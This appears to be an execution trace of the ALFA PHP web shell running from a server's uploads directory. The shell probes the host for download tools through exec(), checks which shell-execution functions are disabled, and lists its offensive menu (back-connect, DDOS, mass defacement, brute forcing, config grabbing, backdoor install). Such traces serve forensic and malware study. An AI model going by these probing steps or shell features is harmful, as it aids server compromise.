6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	399	1	0.064875	2801520
6	399	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	398	1	0.064898	2801520
5	398	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	397	1	0.064921	2801480
4	397	R			FALSE
4	403	0	0.064935	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'lynx'
5	404	0	0.064948	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which lynx'	FALSE	FALSE	???
6	405	0	0.064963	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which lynx'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	406	0	0.064986	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	406	1	0.065004	2801560
7	406	R			TRUE
7	407	0	0.065018	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which lynx'	''
7	407	1	0.066254	2801664
7	407	R			''
7	408	0	0.066276	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	408	1	0.066292	2801664
7	408	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	405	1	0.066317	2801520
6	405	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	404	1	0.066340	2801520
5	404	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	403	1	0.066363	2801480
4	403	R			FALSE
4	409	0	0.066376	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'links'
5	410	0	0.066390	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which links'	FALSE	FALSE	???
6	411	0	0.066404	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which links'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	412	0	0.066428	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	412	1	0.066442	2801560
7	412	R			TRUE
7	413	0	0.066455	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which links'	''
7	413	1	0.067656	2801664
7	413	R			''
7	414	0	0.067677	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	414	1	0.067693	2801664
7	414	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	411	1	0.067718	2801520
6	411	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	410	1	0.067741	2801520
5	410	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	409	1	0.067764	2801480
4	409	R			FALSE
4	415	0	0.067777	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'curl'
5	416	0	0.067791	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which curl'	FALSE	FALSE	???
6	417	0	0.067805	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which curl'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	418	0	0.067828	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	418	1	0.067842	2801560
7	418	R			TRUE
7	419	0	0.067855	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which curl'	''
7	419	1	0.069071	2802064
7	419	R			'/usr/bin/curl'
7	420	0	0.069095	2801960	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/curl']
7	420	1	0.069112	2802024
7	420	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/curl'
6	417	1	0.069139	2801560
6	417	R			'/usr/bin/curl'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/curl'
5	416	1	0.069163	2801560
5	416	R			'/usr/bin/curl'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/curl'
4	415	1	0.069187	2801480
4	415	R			13
3		A						/var/www/html/uploads/hw0.php	1163	$x++
4	421	0	0.069216	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'get'
5	422	0	0.069230	2801520	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which get'	FALSE	FALSE	???
6	423	0	0.069245	2801520	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which get'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	424	0	0.069268	2801520	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	424	1	0.069281	2801560
7	424	R			TRUE
7	425	0	0.069294	2801544	exec	0		/var/www/html/uploads/hw0.php	762	2	'which get'	''
7	425	1	0.070520	2801664
7	425	R			''
7	426	0	0.070543	2801600	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[]
7	426	1	0.070558	2801664
7	426	R			''
6		A						/var/www/html/uploads/hw0.php	763	$out = ''
6	423	1	0.070583	2801520
6	423	R			''
5		A						/var/www/html/uploads/hw0.php	744	$data = ''
5	422	1	0.070606	2801520
5	422	R			''
4		A						/var/www/html/uploads/hw0.php	2404	$path = ''
4	421	1	0.070629	2801480
4	421	R			FALSE
4	427	0	0.070642	2801480	alfaWhich	1		/var/www/html/uploads/hw0.php	1163	1	'lwp-mirror'
5	428	0	0.070661	2801528	alfaEx	1		/var/www/html/uploads/hw0.php	2404	4	'which lwp-mirror'	FALSE	FALSE	???
6	429	0	0.070675	2801528	_alfa_php_cmd	1		/var/www/html/uploads/hw0.php	744	2	'which lwp-mirror'	FALSE
6		A						/var/www/html/uploads/hw0.php	758	$out = ''
7	430	0	0.070700	2801528	function_exists	0		/var/www/html/uploads/hw0.php	761	1	'exec'
7	430	1	0.070713	2801568
7	430	R			TRUE
7	431	0	0.070726	2801552	exec	0		/var/www/html/uploads/hw0.php	762	2	'which lwp-mirror'	''
7	431	1	0.071899	2802088
7	431	R			'/usr/bin/lwp-mirror'
7	432	0	0.071921	2801976	join	0		/var/www/html/uploads/hw0.php	763	2	'\n'	[0 => '/usr/bin/lwp-mirror']
7	432	1	0.071937	2802040
7	432	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/hw0.php	763	$out = '/usr/bin/lwp-mirror'
6	429	1	0.071963	2801576
6	429	R			'/usr/bin/lwp-mirror'
5		A						/var/www/html/uploads/hw0.php	744	$data = '/usr/bin/lwp-mirror'
5	428	1	0.071988	2801576
5	428	R			'/usr/bin/lwp-mirror'
4		A						/var/www/html/uploads/hw0.php	2404	$path = '/usr/bin/lwp-mirror'
4	427	1	0.072012	2801480
4	427	R			19
3		A						/var/www/html/uploads/hw0.php	1163	$x++
4	433	0	0.072037	2801480	function_exists	0		/var/www/html/uploads/hw0.php	1181	1	'get_magic_quotes_gpc'
4	433	1	0.072051	2801520
4	433	R			TRUE
4	434	0	0.072064	2801480	get_magic_quotes_gpc	0		/var/www/html/uploads/hw0.php	1181	0
4	434	1	0.072076	2801480
4	434	R			FALSE
3		A						/var/www/html/uploads/hw0.php	1181	$quotes = FALSE
3		A						/var/www/html/uploads/hw0.php	1181	$magic = '<span class="header_off">OFF</span>'
4	435	0	0.072113	2801480	Alfa_GetDisable_Function	1		/var/www/html/uploads/hw0.php	1183	0
5	436	0	0.072126	2801480	ini_get	0		/var/www/html/uploads/hw0.php	917	1	'disable_functions'
5	436	1	0.072141	2801960
5	436	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/hw0.php	917	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/hw0.php	918	$afa = '<span class="header_show_all">All Functions Accessible</span>'
5	437	0	0.072201	2801928	explode	0		/var/www/html/uploads/hw0.php	920	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	437	1	0.072226	2804400
5	437	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/hw0.php	920	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	0	0.072308	2804328	array_unique	0		/var/www/html/uploads/hw0.php	921	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	1	0.072341	2805696
5	438	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/hw0.php	921	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/hw0.php	922	$i = 0
4		A						/var/www/html/uploads/hw0.php	923	$b = 0
4		A						/var/www/html/uploads/hw0.php	924	$func = [0 => 'system', 1 => 'exec', 2 => 'shell_exec', 3 => 'proc_open', 4 => 'popen', 5 => 'passthru', 6 => 'symlink', 7 => 'dl']
4		A						/var/www/html/uploads/hw0.php	925	$black_list = []
4		A						/var/www/html/uploads/hw0.php	926	$allow_list = []
5	439	0	0.072464	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_alarm'
5	439	1	0.072478	2804360
5	439	R			'pcntl_alarm'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_alarm'
5	440	0	0.072503	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_alarm'
5	440	1	0.072518	2804360
5	440	R			FALSE
5	441	0	0.072531	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_fork'
5	441	1	0.072544	2804360
5	441	R			'pcntl_fork'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_fork'
5	442	0	0.072568	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_fork'
5	442	1	0.072582	2804360
5	442	R			FALSE
5	443	0	0.072595	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_waitpid'
5	443	1	0.072608	2804360
5	443	R			'pcntl_waitpid'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_waitpid'
5	444	0	0.072632	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_waitpid'
5	444	1	0.072651	2804360
5	444	R			FALSE
5	445	0	0.072670	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wait'
5	445	1	0.072685	2804360
5	445	R			'pcntl_wait'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wait'
5	446	0	0.072715	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wait'
5	446	1	0.072728	2804360
5	446	R			FALSE
5	447	0	0.072742	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wifexited'
5	447	1	0.072754	2804360
5	447	R			'pcntl_wifexited'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wifexited'
5	448	0	0.072778	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wifexited'
5	448	1	0.072792	2804360
5	448	R			FALSE
5	449	0	0.072805	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wifstopped'
5	449	1	0.072817	2804360
5	449	R			'pcntl_wifstopped'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wifstopped'
5	450	0	0.072841	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wifstopped'
5	450	1	0.072854	2804360
5	450	R			FALSE
5	451	0	0.072867	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wifsignaled'
5	451	1	0.072879	2804360
5	451	R			'pcntl_wifsignaled'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wifsignaled'
5	452	0	0.072904	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wifsignaled'
5	452	1	0.072917	2804360
5	452	R			FALSE
5	453	0	0.072930	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wifcontinued'
5	453	1	0.072942	2804360
5	453	R			'pcntl_wifcontinued'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wifcontinued'
5	454	0	0.072966	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wifcontinued'
5	454	1	0.072980	2804360
5	454	R			FALSE
5	455	0	0.072992	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wexitstatus'
5	455	1	0.073005	2804360
5	455	R			'pcntl_wexitstatus'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wexitstatus'
5	456	0	0.073028	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wexitstatus'
5	456	1	0.073042	2804360
5	456	R			FALSE
5	457	0	0.073054	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wtermsig'
5	457	1	0.073066	2804360
5	457	R			'pcntl_wtermsig'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wtermsig'
5	458	0	0.073090	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wtermsig'
5	458	1	0.073103	2804360
5	458	R			FALSE
5	459	0	0.073116	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_wstopsig'
5	459	1	0.073128	2804360
5	459	R			'pcntl_wstopsig'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_wstopsig'
5	460	0	0.073155	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_wstopsig'
5	460	1	0.073169	2804360
5	460	R			FALSE
5	461	0	0.073182	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_signal'
5	461	1	0.073194	2804360
5	461	R			'pcntl_signal'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_signal'
5	462	0	0.073226	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_signal'
5	462	1	0.073240	2804360
5	462	R			FALSE
5	463	0	0.073253	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_signal_get_handler'
5	463	1	0.073265	2804360
5	463	R			'pcntl_signal_get_handler'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_signal_get_handler'
5	464	0	0.073290	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_signal_get_handler'
5	464	1	0.073303	2804360
5	464	R			FALSE
5	465	0	0.073316	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_signal_dispatch'
5	465	1	0.073328	2804360
5	465	R			'pcntl_signal_dispatch'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_signal_dispatch'
5	466	0	0.073352	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_signal_dispatch'
5	466	1	0.073365	2804360
5	466	R			FALSE
5	467	0	0.073392	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_get_last_error'
5	467	1	0.073406	2804360
5	467	R			'pcntl_get_last_error'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_get_last_error'
5	468	0	0.073433	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_get_last_error'
5	468	1	0.073446	2804360
5	468	R			FALSE
5	469	0	0.073459	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_strerror'
5	469	1	0.073471	2804360
5	469	R			'pcntl_strerror'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_strerror'
5	470	0	0.073495	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_strerror'
5	470	1	0.073508	2804360
5	470	R			FALSE
5	471	0	0.073520	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_sigprocmask'
5	471	1	0.073533	2804360
5	471	R			'pcntl_sigprocmask'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_sigprocmask'
5	472	0	0.073557	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_sigprocmask'
5	472	1	0.073570	2804360
5	472	R			FALSE
5	473	0	0.073583	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_sigwaitinfo'
5	473	1	0.073595	2804360
5	473	R			'pcntl_sigwaitinfo'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_sigwaitinfo'
5	474	0	0.073619	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_sigwaitinfo'
5	474	1	0.073632	2804360
5	474	R			FALSE
5	475	0	0.073645	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_sigtimedwait'
5	475	1	0.073657	2804360
5	475	R			'pcntl_sigtimedwait'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_sigtimedwait'
5	476	0	0.073681	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_sigtimedwait'
5	476	1	0.073694	2804360
5	476	R			FALSE
5	477	0	0.073707	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_exec'
5	477	1	0.073719	2804360
5	477	R			'pcntl_exec'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_exec'
5	478	0	0.073742	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_exec'
5	478	1	0.073755	2804360
5	478	R			FALSE
5	479	0	0.073768	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_getpriority'
5	479	1	0.073780	2804360
5	479	R			'pcntl_getpriority'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_getpriority'
5	480	0	0.073804	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_getpriority'
5	480	1	0.073818	2804360
5	480	R			FALSE
5	481	0	0.073830	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_setpriority'
5	481	1	0.073843	2804360
5	481	R			'pcntl_setpriority'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_setpriority'
5	482	0	0.073871	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_setpriority'
5	482	1	0.073885	2804360
5	482	R			FALSE
5	483	0	0.073897	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	'pcntl_async_signals'
5	483	1	0.073910	2804360
5	483	R			'pcntl_async_signals'
4		A						/var/www/html/uploads/hw0.php	928	$d = 'pcntl_async_signals'
5	484	0	0.073934	2804328	is_callable	0		/var/www/html/uploads/hw0.php	929	1	'pcntl_async_signals'
5	484	1	0.073947	2804360
5	484	R			FALSE
5	485	0	0.073960	2804328	trim	0		/var/www/html/uploads/hw0.php	928	1	''
5	485	1	0.073972	2804360
5	485	R			''
4		A						/var/www/html/uploads/hw0.php	928	$d = ''
4	435	1	0.073995	2801480
4	435	R			'<span class="header_show_all">All Functions Accessible</span>'
4	486	0	0.074017	2803272	getenv	0		/var/www/html/uploads/hw0.php	1193	1	'SERVER_SOFTWARE'
4	486	1	0.074034	2803352
4	486	R			'Apache/2.4.52 (Ubuntu)'
3		A						/var/www/html/uploads/hw0.php	1210	$li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'proc'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'phpeval'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'sql'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'dumper'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'coldumper'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'hash'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'connect'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'zoneh'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'dos'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'safe'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'cgishell'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'ssiShell'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'cpcrack'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'portscanner'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'basedir'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'mail'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'ziper'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'deziper'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'IndexChanger'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'pwchanger'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'ShellInjectors'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'php2xml'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'cloudflare'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'Whmcs'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'symlink'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'MassDefacer'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'Crackers'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'searcher'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'config_grabber'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'fakepage'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'archive_manager'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'cmshijacker'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'remotedl'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'inbackdoor'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'whois'
3		A						/var/www/html/uploads/hw0.php	1216	$key = 'selfrm'
3	61	1	0.074891	2797536
3	487	0	0.074900	2797536	AlfaNum	1		/var/www/html/uploads/hw0.php	2561	7	8	9	10	7	6	5	4
3		A						/var/www/html/uploads/hw0.php	948	$args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
3		A						/var/www/html/uploads/hw0.php	949	$alfax = []
3		A						/var/www/html/uploads/hw0.php	950	$find = []
3		A						/var/www/html/uploads/hw0.php	951	$i = 1
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 1
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 2
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 3
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 4
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 5
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 6
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 7
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 8
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 9
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	952	$alfax[] = 10
3		A						/var/www/html/uploads/hw0.php	951	$i++
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 8
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 9
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 10
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 7
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 6
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 5
3		A						/var/www/html/uploads/hw0.php	955	$find[] = 4
4	488	0	0.075188	2798984	in_array	0		/var/www/html/uploads/hw0.php	959	2	1	[0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
4	488	1	0.075206	2799056
4	488	R			FALSE
